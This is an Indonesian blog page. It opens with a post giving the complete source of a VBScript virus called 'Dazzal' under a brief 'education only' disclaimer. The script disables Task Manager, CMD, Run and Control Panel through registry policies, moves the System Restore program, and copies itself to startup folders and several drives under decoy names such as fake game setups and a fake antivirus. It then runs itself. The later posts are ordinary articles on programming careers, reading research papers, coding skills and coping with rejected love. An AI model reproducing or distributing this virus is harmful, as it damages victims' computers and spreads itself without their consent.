17 April 2009

Buat Virus Dazzal

0 komentar
Bagi anda yang ingin coba buat virus ini saya beri contoh salah satu script virus yang tak terlalu berbahaya. Script ini saya dapat dari blog seseorang. Tapi virus script ini tidak boleh di salah gunakan dan hanya untuk education saja. Ok. Selamat mencoba.

Script Virus Dazzal.vbs

================================================== ==============
'SCRIPT VIRUS DAZZAL.VBS

On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
set Creator = FSO.CreateTextFile ("C:\Ternate.vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya, Mr.Dajjal :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDrives","16","REG_D WORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:\Ternate.vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe.vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12")
FSO.CreateFolder ("D:\Program")
FSO.CreateFolder ("E:\Program")
FSO.CreateFolder ("F:\Program")
FSO.CreateFolder ("G:\Program")
FSO.CreateFolder ("H:\Program")
FSO.CreateFolder ("I:\Program")
FSO.CreateFolder ("J:\Program")
FSO.CreateFolder ("K:\Program")

Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu")

set Dupler = FSO.GetFile (WScript.ScriptFullName)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\Hantu.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\Dajjal_Antivirus.exe.vbs")
Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs")
Dupler.Copy ("D:\Program\MotoGP_SETUP.vbs")
Dupler.Copy ("E:\Program\TuneUp2009_SETUP.vbs")
Dupler.Copy ("F:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("G:\Program\DeltaForce_SETUP.vbs")
Dupler.Copy ("H:\Program\DeltaForce_SETUP.vbs")
Dupler.Copy ("I:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("J:\Program\Project.vbs")
Dupler.Copy ("K:\Program\Hantu.vbs")

Set Runner = WScript.CreateObject ("WScript.Shell")
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\Hantu.vbs")

Untuk Script Yang lain, link ke www.zzzrrr.multiply.com

5 Langkah Menjadi Programmer Entrepreneur

1 komentar
by Romi Satria Wahono

programmerlegend

Hari Kamis, 19 Pebruari 2009, saya diminta mengisi satu sesi tentang entrepreneurship di PHP Developers Day 2009 yang diadakan di PDII LIPI Jl Gatot Subroto 10, Jakarta. Supaya unik, presentasi saya beri judul Programmer Entrepreneur. Inti dari presentasi saya adalah uraian tentang kiat dan langkah menjadi programmer yang berkarakter entrepreneur. Wacana ini perlu saya berikan karena saya pikir trend programmer di Indonesia, relatif lebih memilih bekerja di sebuah perusahaan yang established, daripada menempuh jalur wirausaha. Saya berharap para programmer berkarakter kuli, mulai pelan-pelan berubah menjadi programmer yang berjiwa entrepreneur dan memiliki kemampuan bisnis yang memadai. Materi saya kembangkan dan sesuaikan dengan judul posting ini, yaitu 5 Langkah Menjadi Programmer Entrepreneur. Tertarik?


1. FIGHT FOR CODELINE FREEDOM!

Programming adalah kemampuan dasar yang wajib dimiliki oleh seorang programmer dan mahasiswa computing. Dalam IEEE Computing 2005, kemampuan coding dan mengembangkan software menjadi titik sentral, yang disentuh semua jurusan computing, baik itu Computer Science (CS), Software Engineering (SE), Information System (IS), Information Technology (IT) ataupun Computer Engineering (CE). Mahasiswa computing tanpa bisa coding, bagaikan garam tanpa asinnya :) Perdjoeangan untuk mencapai kebebasan baris kode, membawa arti bahwa kita tidak stress melihat 1000 baris kode suatu program. Dan juga, tidak boleh masuk rumah sakit kena tipus, kalau harus melototin 10000 baris kode :) Pertanyaan yang sangat sering datang ke saya dari mahasiswa jurusan computing adalah, bagaimana supaya bisa mahir coding? Jawaban saya, kiatnya cuma ada 5, yaitu: latihan, latihan, latihan, latihan dan latihan :D

Yakinlah bahwa bangku kuliah tidak cukup. Dan janganlah pernah mengeluh wahai para mahasiswa, karena tidak hanya di Indonesia, mahasiswa di luar negeripun tetap tidak akan bisa mahir coding, kalau hanya mengandalkan jam mata kuliah pemrograman. Saya juga dulu harus keluar masuk berbagai software house di Jepang dan bahkan sempat 6 tahun part time di perusahaan game Activision, supaya bisa menebarkan dan menyematkan berbagai teori dan konsep pemrograman ke ujung-ujung jari, kulit dan otak saya.

2. BROWSING FOR LEARNING AND RESEARCHING

Lakukan shift-paradigm pada perilaku kita. Tancapkan ke dalam benak kita yang paling dalam, bahwa kegiatan web browsing bukan hanya ajang klik URL asal-asalan, kegiatan selingan, iseng atau aktifitas di kala senggang. Mengakses Internet adalah sebuah investasi. Detik demi detik waktu yang kita pakai untuk nginternet, akan dikonversi dalam bentuk rupiah pada saat kita keluar warnet atau menutup koneksi internet kita. Manfaatkan kegiatan browsing untuk banyak belajar dan meneliti. Ketika mengunjungi Alexa.Com, jangan hanya terperangah dengan posisi rangking kaskus.us, friendster.com, facebook.com atau detik.com, tapi usahakan untuk sambil mengumpulkan data kunjungan Internet Indonesia. Rangkumkan datanya dalam bentuk tabel, kategorisasikan, olah dan analisa dengan berbagai teknik statistik. Manfaatkan berbagai forum yang betebaran di dunia maya untuk belajar, bagaimana mengembangkan software dan game yang bisa kita jual, ataupun berbisnis di Internet. Ketika kita menggunakan aplikasi facebook dan friendster, arahkan strum otak kita untuk memikirkan genre aplikasi dan game apa yang saat ini nge-trend di facebook atau friendster. Pelajari kelebihan dan kelemahannya.

3. CREATE A “KREATIFITAS MAYA”!

Gunakan berbagai data dan hasil analisa yang kita dapatkan pada saat browsing untuk mulai sedikit demi sedikit membangun kreatifitas maya. Ingatlah bahwa produk-produk legendaris tidak langsung menjadi besar, perlu proses yang lama. Matt Mullenweg sang founder Wordpress, juga mengawali jalan legendanya dengan sesuatu yang sangat dasar, karena ingin belajar PHP. Jerry Yang, akhirnya menseriusi bisnis mesin pencarinya, mesekipun diawali dengan aktifitas mengumpulkan link URL. Demikian juga dengan Blake Ross dengan Mozilla Firefoxnya, Mark Zuckerberg dengan Facebook-nya, Steve Chen dan Chad Hurley dengan Youtube-nya, Pierre Omidyar dengan eBay-nya, dan Tom Anderson dengan MySpace-nya. Kemampuan coding akan mempercepat proses implementasi ide, yang kita rumuskan dari hasil analisa dan penelitian kita tentang trend layanan web. Saya membangun IlmuKomputer.Com juga sebenarnya tidak asal bangun, tapi mulai dari learning dan researching tentang layanan untuk mahasiswa yang benar-benar bisa menjadi solusi bagi mahasiswa. Saya mulai dari survey ke ratusan mailing list dan forum. Termasuk mencari data yang valid, siapa sebenarnya pengguna Internet yang populasinya besar saat itu.

4. BLOGGING FOR PERSONAL BRANDING

Kreatifitas maya yang dahsyat dan menggunakan teknologi canggih, tidak ada artinya apabila tidak diperkenalkan ke publik. Karena itu kita perlu latih kemampuan menulis kita, yang bisa kita mulai dengan menggunakan blog. Para programmer yang notabene adalah seorang spesialis, dituntut kedepannya berkemampuan versatilist, yang bisa menawarkan diri dan menjual kemampuannya dengan baik. Ngeblog alias blogging sekaligus jadi cara yang maknyus untuk personal branding lewat dunia maya. Saat ini personal branding lewat blogging adalah jalan yang sangat cepat dan efektif, bahkan melebihi personal branding lewat koran dan media cetak. Pengguna Internet Indonesia yang mencapai 25 juta, mungkin hanya kalah oleh TV. Dan saya yakin, tidak semua dari kita punya kelebihan uang untuk melakukan aktifitas narsistik lewat 30 detik iklan di TV yang mencapai nilai ratusan juta rupiah. Sekali lagi, personal branding lewat blogging adalah jalan yang lebih efektif, efisien, nyata alias tidak ngoyoworo bin aya aya wae :). Sayapun menempuh jalan ini untuk memperkenalkan diri, IlmuKomputer.Com dan juga bisnis yang saya buat seperti Brainmatics.Com.

5. BE AN ENTREPRENEUR!

Ketika kondisi sudah mapan, dan sudah mulai banyak yang menghubungi kita untuk kerjasama mengembangkan berbagai proyek dan kegiatan. Mulai pikirkan untuk masuk jalur entrepreneur formal lewat bisnis dalam bentuk yang lebih nyata. Dirikan PT atau CV, sewa kantor, ajak anak-anak muda yang cerdas nan militan untuk bergabung dengan kita. Jangan lupa didik mereka dengan baik dan bijak. Beri mereka kesempatan untuk mengembangkan diri dan mengembangkan ilmu. Beri beasiswa untuk melanjutkan sekolah apabila dirasa memang sang pegawai berprestasi. Beri mereka kepercayaan, mulai delegasikan wewenang dan tugas, dan jangan pernah beranggapan bahwa semua harus kita kerjakan sendiri.

Saya juga dibantu para pedjoeang-pedjoeang muda dalam melakukan aktifitas di dunia maya dan bisnis. Menarik kalau kapan-kapan coba mampir ke markas IlmuKomputer.com, yang sekaligus sebagai kantor Brainmatics.Com di Menara Bidakara. Ada Mansyur, Training Manager kita yang gesit dan jaim. Mansyur alias Acun ini sebenarnya baru berumur 20 tahun dan duduk di semester 3 bangku kuliah S1. Tapi menakjubkan, karena miliaran omzet perusahaan dihasilkan dari tangan dinginnya. Ada mulyana, sang Technical Manager yang cerdas tapi dingin, plus cenderung psikopat. Saat ini baru berumur 19 tahun, bahkan belum lulus SMA dan harus ujian bulan April ini. Ada lagi Eman, sang Financial Manager kita, pemilik IPK 3.8 yang selalu tampil keren dan harum meskipun sedikit agak jablai ini, juga baru berumur 20 tahun. Adalagi Tanto, yang jadi PJ project eLearning kita di Merpati Airlines, laki-laki setia yang jago makan ini juga belum menikah :)

Sapalah para pedjoeangku ini, dan ajaklah mereka berdiskusi. Aku yakin tidak ada yang bisa mengalahkan laskar pelangiku ini dalam kuantitas dan kualitas kerja. Mereka bangun sebelum orang lain bangun, dan tidur setelah orang lain tidur. Dan cintapun tak akan bisa membunuh mereka, paling cuman bikin diem ajah 3 hari 3 malam hihihi. Mereka sangat paham bahwa mendapatkan pendidikan adalah sebuah perdjoeangan, dan hidup dari keringat sendiri adalah suatu kebanggaan. Para pedjoeangku ini masih terlalu muda dan mungkin miskin ilmu, karena itu ajarilah mereka ilmu pengetahuan. Tapi belajarlah dari mereka hakekat perdjoeangan dan mintalah sebuah peta harta harun kepada mereka … yaitu peta jalan cinta para legenda.

Wahai para pemuda, janganlah pernah mau jadi pecundang, berebutlah untuk menjadi legenda. Kuingin kau tahu, jalan legenda terbuka lebar, bagi siapa saja yang mau berusaha dan berdjoeang. Dan tidak semua orang yang punya kemampuan bisa menjadi legenda, karena menjadi legenda adalah sebuah pilihan, bukan karena kemampuan.

Sambutlah pagi hari dengan riang dan tataplah mentari pagi dengan lantang. Jangan lupa ucapkan, “I am legend!” … believe me you will be legend :)

Tetap dalam perdjoeangan!

ttd-small.jpg


Teknik Memahami Paper Ilmiah

0 komentar

paperSaya sedang dapat tugas dari dosen untuk membaca banyak paper ilmiah. Katanya penting untuk membangun landasan teori dari penelitian yang saya lakukan. Tapi pusing setengah mati mas, ga paham-paham :( Mas Romi bisa ajari saya nggak, teknik membaca paper ilmiah dengan baik, supaya cepat paham? Thanks. (Anto, ITS Surabaya)

Musim mengerjakan tugas akhir, artinya musim membaca makalah alias paper ilmiah alias scientific paper. Banyak yang beranggapan bahwa konsentrasi membaca paper ilmiah adalah pada aspek teknis (technical aspect).

Padahal ngotot fokus ke aspek teknis dari paper ilmiah akan membuat kita pusing, puyeng, mual, ngantuk, dan ga ngerti juntrungnya :) . Meskipun ada juga mahasiswa yang nekat memahami satu paper ilmiah sampai perlu waktu berbulan-bulan. Padahal sebenarnya kekuatan paper ilmiah bukan hanya dilihat dari aspek teknis. Nah lho, terus di bagian mana sebaiknya kita konsentrasi membaca sebuah paper ilmiah?

Pada hakekatnya ada empat hal utama yang perlu kita pahami dari sebuah paper ilmiah, khususnya paper di bidang computing (computer science). Empat hal utama tersebut adalah masalah penelitian, kontribusi (solusi), substansi dan kesimpulan. Kita tidak perlu langsung masuk ke substansi alias aspek teknis yang bikin pening kepala. Bahkan ketika kita menemukan bahwa masalah penelitian tidak berkualitas, maka kita tidak perlu melanjutkan lagi membaca paper tersebut. Bahasa mahasiswa kasmaran-nya, lupakan aku kembali padanya :)

Kembali ke masalah memahami paper, empat hal utama tersebut kalau dijabarkan adalah seperti di bawah. Penjabaran saya rangkumkan dari tulisan menarik dari Philip W. L. Fong, Amanda Stent, dan William G. Griswold (paper lengkap ada di referensi).

  1. Pahami Masalah Penelitian: Pahami, sebenarnya masalah penelitian apa yang sedang dibidik oleh paper tersebut. Pertanyaan lain untuk mengecek masalah penelitian di paper adalah seperti tertulis di bawah.

    • Apa motivasi mengerjakan penelitian itu?
    • Apakah ada hal penting (kritis) dalam bidang yang digarap yang ingin diselesaikan oleh paper tersebut?
    • Apakah penelitian bertujuan untuk mengatasi kelemahan dari pendekatan yang ada?
    • Apakah masalah penelitian cukup menantang atau unik?
  2. Pahami Kontribusi: Pahami, dari masalah penelitian yang dibidik, kontribusi seperti apa yang diklaim oleh penulis di paper ilmiah. Pertanyaan lain untuk mengecek kontribusi penelitian di paper adalah seperti tertulis di bawah.

    • Apa yang baru dan orisinil di paper itu?
    • Adakah pemahaman baru dari masalah penelitian yang diangkat?
    • Adakah metodologi baru untuk memecahkan masalah?
    • Adakah algoritma baru?
    • Adakah sistem atau tool software baru?
    • Adakah metode eksperimen baru?
    • Adakah teknik pembuktian baru?
    • Adakah notasi atau formalisme baru?
    • Apakah termasuk bidang penelitian baru?
  3. Pahami Substansi: Pahami, substansi dari kontribusi atau solusi seperti apa yang diklaim oleh peneliti bahwa itu hasil karyanya? Pertanyaan lain untuk mengecek substansi penelitian di paper adalah seperti tertulis di bawah.

    • Metodologi apa yang digunakan untuk memperkuat klaim?
    • Apa argumentasi dan teori utama dari paper?
    • Apakah telah dilakukan eksperimen, analisa data, simulasi, benchmark, studi kasus, dan contoh implementasi?
    • Apakah klaim kontribusi telah dibuktikan secara ilmiah?
  4. Pahami Kesimpulan: Pahami, bagaimana kesimpulan penelitian yang ditarik oleh peneliti lewat papernya? Pertanyaan lain untuk mengecek kesimpulan penelitian di paper adalah seperti tertulis di bawah.

    • Apa yang bisa kita pelajari dan dapatkan dari paper tersebut?
    • Apakah standard practice dari bidang ilmu berubah karena adanya penemuan baru di paper ini?
    • Apakah hasilnya bisa digeneralisasi dan diaplikasikan ke bidang yang lain?

Lebih maknyus lagi bila setelah memahami empat hal diatas, masalah penelitian, kontribusi, substansi, dan kesimpulan, kita masukkan ke dalam Kerangka Pemikiran yang sudah saya jelaskan sebelum tulisan ini.

BTW, bagi yang belum tahu darimana bisa download paper ilmiah yang dipublikasi di journal dan proceedings conference, jawabannya ada di tulisan saya tentang Literatur Ilmiah dan Jurnal Penelitian Gratis.

Untuk mahasiswa computing yang punya kelonggaran uang sekitar Rp 200 ribu, sebaiknya menjadi member ACM. ACM dan IEEE Computer Society adalah dua asosiasi yang paling disegani dan publikasinya paling shahih dan mutawatir (ilmu hadith kaleee ;) ) untuk bidang ilmu computing. Untuk wilayah Indonesia dan sekitarnya yang dikategorikan negara miskin hihihi, student membership plus fasilitas digital library hanya dicharge oleh ACM sebesar 18 USD pertahun. Klik disini untuk menjadi member ACM.

Ayo mulai baca lagi, kalau satu kali baca masih nggak paham, ya ulangi lagi dan ulangi lagi sampai kita bisa benar-benar paham :)

Tetap dalam perdjoeangan!

ttd-small.jpg

REFERENSI

  1. Philip W. L. Fong, How to Read a CS Research Paper?
  2. Amanda Stent, How to Read a Computer Science Research Paper
  3. William G. Griswold, How to Read an Engineering Research Paper

Wajibnya Skill Coding Bagi Mahasiswa Computing

0 komentar

netbeansMas Romi, saya mahasiswa jurusan teknik informatika, semester akhir dengan peminatan software engineering. Karena saya lemah di coding, kira-kira nanti kesulitan ga ya untuk mengerjakan tugas akhir? (Taufik, Universitas Swasta di Jakarta)

Inna lillahi wa inna ilaihi rajiun, segera lakukan taubat dan perbanyak istighfar :) Jurusan teknik informatika semester akhir, peminatan software engineering pula, ga bisa coding? Selama ini kemana aja om? :(

Lemahnya skill coding mahasiswa di Indonesia adalah penyakit gawat, menular, mematikan dan secepatnya harus diberantas tuntas :). Mungkinkah ini juga yang membuat produksi software kita secara kuantitas dan kualitas dibawah negara tetangga kita?

Ingat bahwa menurut laporan IDC dan Gartner, jumlah developer professional Indonesia mencapai 71.600 orang di tahun 2008. Jumlah developer kita tiga kalinya malaysia dan empat kalinya singapore loh :(

Wahai para mahasiswaku, andai kau tahu, jurusan computing di Indonesia mengambil acuan kurikulum IEEE Computing Curricula 2005. Asosiasi Perguruan Tinggi Informatika dan Komputer alias APTIKOM, yang menjadi wadah universitas yang memiliki jurusan atau prodi computing, membuat kurikulum inti yang mengacu ke IEEE Computing Curricula 2005, meskipun di beberapa sisi tidak konsisten :) Tidak konsisten karena Information System (Sistem Informasi) dan Computer Engineering (Teknik/Sistem Komputer) saja yang direkomendasikan jadi jurusan atau prodi. Computer Science (Ilmu Komputer), Information Technology (Teknologi Informasi) dan Software Engineering (Rekayasa Perangkat Lunak) disuruh tumplek beg di satu wadah namanya Teknik Informatika :(

Padahal sebenarnya pembobotan materi yang dibidik berbeda-beda. Silakan cek dari gambar di bawah, target kemampuan yang diharapkan dari lulusan masing-masing cabang ilmu computing menurut IEEE Computing Curricula 2005.

ieeecurricula2005.gif

Secara IEEE Computing Curricula 2005, mahasiswa prodi/jurusan/fakultas/ dibawah disiplin ilmu computing, boleh tidak mengerti masalah sistem informasi atau teoritika database (mahasiswa CE misalnya), boleh juga nggak ngerti arsitektur komputer (mahasiswa IS dan IT misalnya). Tapi seluruh mahasiswa wajib hukumnya, dan ini wajib ain sifatnya :) punya skill coding.

Grafik pembobotan kurikulum menurut IEEE Computing Curricula 2005 adalah seperti di bawah. Sekedar informasi, CE=Computer Engineering (Teknik Komputer), CS=Computer Science (Ilmu Komputer), IS=Information Systems (Sistem Informasi), IT=Information Technology (Teknologi Informasi), SE=Software Engineering (Rekayasa Perangkat Lunak). Kemampuan coding dan programming masuk di materi Software Methods and Technologies. Lihat bahwa semua cabang ilmu di bawah computing membuat lengkungan di materi itu, meskipun dengan bobot berbeda antara sisi theoritical dan applied. Dan lihatlah di cabang ilmu software engineering, bentuk ovalnya paling manis dan sempurna, khususnya bobot untuk aspek Software Methods and Technologies :)

Ketika ada dosen atau peneliti di kampus yang mengatakan bahwa coding dan programming tidak wajib bagi mahasiswa jurusan computing, itu sebenarnya mencederai dunia kurikulum IT di Indonesia dan dunia hehehe. Mahasiswa computing tanpa skill coding itu bagaikan garam tanpa asinnya :)

ce.jpg

cs.jpg

is.jpg

it.jpg

se.jpg

Wokeh, sebenarnya bagaimana kiat mendesain materi ajar dan mata kuliah supaya tidak ada mahasiswa computing yang terkena penyakit mental tersebut? :)

  • Desain mata kuliah untuk tidak mengajarkan banyak bahasa pemrograman dengan paradigma yang sama. Mengajari mahasiswa dengan banyak bahasa pemrograman, artinya mendidik mereka untuk tidak menguasai satupun bahasa pemrograman.
  • Fokuskan ke satu bahasa pemrograman utama dan gunakan untuk penugasan di setiap mata kuliah. Capai level mahir di satu bahasa programming baru berpindah ke bahasa pemrograman yang lain. Saya dulu di Saitama University sampai semester 4, hanya boleh menggunakan bahasa C untuk semua penugasan mata kuliah. Semester lima baru diajarkan Object-Oriented Programming (OOP). Konsep OOP benar-benar maknyus kita pahami, ketika kita sudah dibuat pusing memanage ribuan baris code pemrograman procedural. Konsep abstraction begitu nyata, teoritika inheritance begitu mempesona, dan hakekat class yang seperti cetakan kue dengan kuenya sendiri adalah object, begitu jelas, tuntas dan sempurna :)
  • Libatkan mahasiswa dalam berbagai project riil untuk melatih dan mendekatkan ilmu yang dipelajari ke dunia industri
  • Bila memungkinkan hindari ujian bergaya multiple choice, arahkan ke develop project atau laporan analisa
  • Bagi mahasiswa yang mengerjakan tugas akhir, khususnya untuk yang software (product) development, wajibkan menggunakan tahapan software development life cycle (specification, design, coding, testing). Latih menyusun business process dan mendesain software dengan menggunakan UML yang relatif sudah standard.

Di sisi mahasiswa, mahasiswa juga harus aktif, jangan malas untuk banyak mencoba dan mencoba. Ingat bahwa tidak akan bisa mengandalkan materi kuliah untuk menjadi mahir di pemrograman. Bila perlu bikin project software kecil-kecilan dan mulai tawarkan lewat internet. Melatih skill coding sekaligus juga jiwa entrepreneurship.

Wahai para mahasiswaku dan para pedjoeangku, ketika cintapun tak akan membunuhmu, jangan pula coding bisa membinasakanmu. Kuasai mereka, jadikanlah energi sehingga kalian mampu membuat software dan produk yang bermanfaat untuk rakyat … itulah jalan cinta para legenda!

Tetap dalam perdjoeangan!

ttd-small.jpg



Ketika Cinta Ini Membunuhmu …

0 komentar

love.jpgMas Romi, saya seorang mahasiswa di Malang, saya mendapatkan penolakan cinta dari pujaan hati saya di kampus. Rasa ini membuat saya agak terseok-seok, dan akhirnya nilai mata kuliah saya jadi hancur lebur. Bantu saya keluar dari masalah ini mas. (Anwar, Malang)

Masalah klasik para pemuda sang pengejar cinta, dan para pemudi sang penunggu cinta :(

“Cinta ini membunuhku”, itu bahasa D’Masiv :)

“Wahai kematian, datanglah cepat kemari, hisap dan dekap tubuhku yang penuh cinta ini”, kalau yang ini kata William Shakespeare dalam Romeo and Juliet.

Kahlil Gibran mengungkapkan dalam syairnya, “Bila cinta memanggilmu, ikutlah dengannya meski jalan yang kalian tempuh terjal dan mendaki”.

Kisah cinta datang dan pergi dari masa ke masa, menyuarakan hal yang sama dengan redaksi berbeda. Silih berganti dari Layla Majnun, Tristan und Isolde, Roro Mendut dan Pronocitro, sampai Romeo and Juliet. Cerita cinta selalu meggebu dan indah, meskipun ketika kita pandang jauh dari sisi lain, kadang buta, tidak nyata dan fatamorgana.

Ya benar, kita sering bingung dalam memaknai cinta. Lauren Slater dalam National Geographic edisi 2006 mengatakan, “Sulit untuk memisahkan pembicaraan antara cinta dan penyakit mental”. Maria dalam Ayat-Ayat Cinta mengatakan dengan redaksi yang berbeda, “Cinta adalah siksaaan yang manis”.

Apakah cinta, mencintai dan dicintai adalah salah? Jawabannya adalah tidak. Cinta itu indah, cinta itu semangat dan cinta itu adalah kebahagiaan. Bahkan mungkin kekuatan kita untuk mencintai adalah titik tertinggi dari hakekat cinta (halah) :)

Hanya permasalahan utama dari para pemuda dan pemudi yang kebetulan sedang jatuh, menjatuhi atau dijatuhi cinta adalah ada di dua hal: salah meletakkan posisi hati dan salah mendefinisikan cinta.

1. LETAKKAN POSISI HATI DENGAN BENAR

Cinta berhubungan dengan hati, itu pasti, karena di dalam hati ada unsur keindahan, semangat dan kebahagiaan, maka 3 hal ini ada kemungkinan besar berhubungan dengan cinta. Banyak dari kita yang meletakkan posisi kebersamaan dan penerimaan cinta sebagai titik tertinggi dari keindahan, semangat dan kebahagiaan. Karena itu kita gusar, sedih, dan sengsara ketika cinta kita tidak diterima oleh sang pujaan hati. Dan kita sangat menderita ketika kita tidak bisa memiliki kebersamaan dengan sang kekasih tercinta. Inilah titik sentral masalah cinta ala Layla - Qais, Roro Mendut - Pronocitro, maupun Romeo - Juliet.

Menempatkan posisi kebersamaan dan penerimaan bukan sebagai titik tertinggi dari cinta adalah faktor terpenting yang membuat cinta tidak akan bisa membunuh kita ;). Saya selalu menempatkan posisi keindahan, semangat dan kebahagiaan saya ketika saya bisa bermanfaat untuk orang lain, mencapai suatu prestasi, dan bisa melakukan hal yang tidak bisa dilakukan orang lain. Ketika banyak orang lain berlomba-lomba untuk mencintai orang lain, bahkan dengan cinta buta, saya berusaha berdjoeang untuk mencintai diri saya sendiri. Inilah cinta dengan logika.

Mencintai diri sendiri bukan berarti banyak tidur, banyak santai, atau banyak rekreasi. Mencintai diri sendiri artinya: saya harus berprestasi, saya harus berhasil dan sukses, saya harus bermanfaat untuk orang lain, saya harus bisa membuka lapangan kerja baru, saya harus memberi beasiswa ke banyak orang, dsb. Implikasinya mungkin sangat berat, karena saya harus bekerja lebih keras, mengurangi tidur, atau mendisiplinkan diri saya sendiri. Tapi itu semua saya lakukan karena saya mencintai diri saya sendiri. Ya inilah mungkin hakekat dari ungkapan si Maria, “Cinta adalah siksaan yang manis”. Bagi saya, mencintai diri sendiri adalah modal penting dalam kesuksesan mencintai orang lain.

Kebersamaan dan penerimaan bukan sesuatu yang selalu membahagiakan saya. Kadang saya secara fisik harus meninggalkan semua orang yang saya kasihi dan cintai. Kadang saya harus bersikap keras kepada para pedjoeang saya, kepada sahabat saya dan bahkan kepada istri dan anak-anak saya, sehingga sering mereka sulit memahami dan menerima saya. Tapi itu semua saya lakukan karena cinta saya yang teramat sangat kepada mereka, saya tidak ingin mereka gagal, saya ingin semua orang bisa berhasil, dan memberi manfaat kepada orang lain dengan lebih baik. Dan inilah cara saya menghembuskan ayat-ayat cinta kepada mereka :)

Meskipun sebenarnya ada kebersamaan dan penerimaan cinta yang selalu saya bahagiakan dan harapkan, yaitu dari Sang Penguasa Alam dan Pemilik Jagad Raya. Inilah koridor penting jalan cinta kita, ingat bahwa cinta mati hanya milik Allah sang penguasa jagad raya bukan untuk makhluk Allah.

Jadi pesan saya, wahai para pemuda, mari letakkan posisi hati kita pada tempatnya. Cinta itu tidak akan membunuhmu, kesalahan posisi hati itulah yang akan membunuhmu.

2. UBAH DEFINISI DAN PARADIGMA CINTA

Kesalahan kedua yang sering kita lakukan adalah kesalahan memahami definisi dan paradigma cinta. Banyak penelitian tentang cinta dilakukan. Salah satu yang cukup terkenal adalah formula cinta dari Robert J Sternberg: A Triangular Theory of Love (Teori Segitiga Cinta).

romi-teorisegitigacinta.jpg

Menurut Sternberg, jenis cinta tergantung dari sifat hubungan kita dengan orang lain. Komitmen saja tanpa gairah dan keakraban adalah Cinta Kosong. Gairah saja tanpa dua unsur yang lain artinya tergila-gila. komitmen dan keakraban tanpa gairah menjadikan persepsi cinta sebagai Cinta Persahabatan. Keakraban dan gairah tanpa komitmen membuat Cinta Romantis. Sedangkan komitmen dan gairah tanpa keakraban menyebabkan Cinta Buta. Ketika kita berhasil menyatukan komitmen, gairah dan keakraban maka akan terjadi Cinta Sempurna.

Banyak yang masih meragukan teori ini bisa berlaku valid untuk semua jenis hubungan cinta, misalnya cinta seorang anak kepada ibunya dan sebaliknya. Hasil penelitian dari Lauren Slater juga mengisyaratkan bahwa susunan kimia otak pemicu romantika, ternyata tidak ada hubungannya dengan komitmen yang memupuk kelekatan jangka panjang. Salim A Fillah, penulis buku Jalan Cinta Para Pejuang, mengatakan bahwa Komitmen adalah sudut kunci dalam teori cinta Robert J Sternberg. Komitmen adalah ikrar kerelaan berkorban, memberi dan bukan meminta, berinisiatif tanpa menunggu dan memahami bukan menuntut.

Sebagian masalah cinta mungkin bisa terwakili oleh Teori Segitia Cinta-nya Sternberg. Tapi kalau kita coba simpulkan dari berbagai referensi lain, dari pandangan Slater, Salim A Fillah dan Anis Matta lewat seri cinta dan pahlawannya di majalah Tarbawi. Cinta Sempurna adalah suatu proses panjang, hasil dari cinta kasih dua manusia yang terjalin dalam suatu hubungan yang sah. Cinta Sempurna bukanlah cinta pada pandangan pertama, karena itu mungkin hanya suatu gairah atau ketergila-gilaan, istilahnya Slater. Cinta Sempurna juga bukan cinta lokasi, cinta monyet, cinta jadi-jadian, cinta karena fisik atau cinta karena harta dan tahta. Cinta Sempurna adalah hasil suatu perdjoeangan panjang. Hasil dari kekuatan kita untuk menyelesaikan masalah perbedaan, memahami kekurangan dan kelebihan, merekatkan hati dan komitmen untuk tetap ada di jalanNya.

Mudah-mudahan ketika terjadi penolakan cinta, kita berani berikrar dengan gagah, ”Lupakan dirimu dan aku akan kembali padaNya”. Catat bahwa huruf N untuk Nya itu harus kapital :) Jangan lupa ubah genjrengan gitar kita dari lagu kenangan kisah cinta, ke lagu: Menghapus Jejakmu (Peterpan), Baiknya (Ada Band), Musnah (Andra and The Backbone), atau Aku Bukan Untukmu (Rossa) hihihi …

Resapi dua syair ini:

Baiknya semua kenangan yang terindah, tak ku balut dengan tangis
Baiknya setiap kerinduan, yang merajam tak kuratapi penuh penyesalan

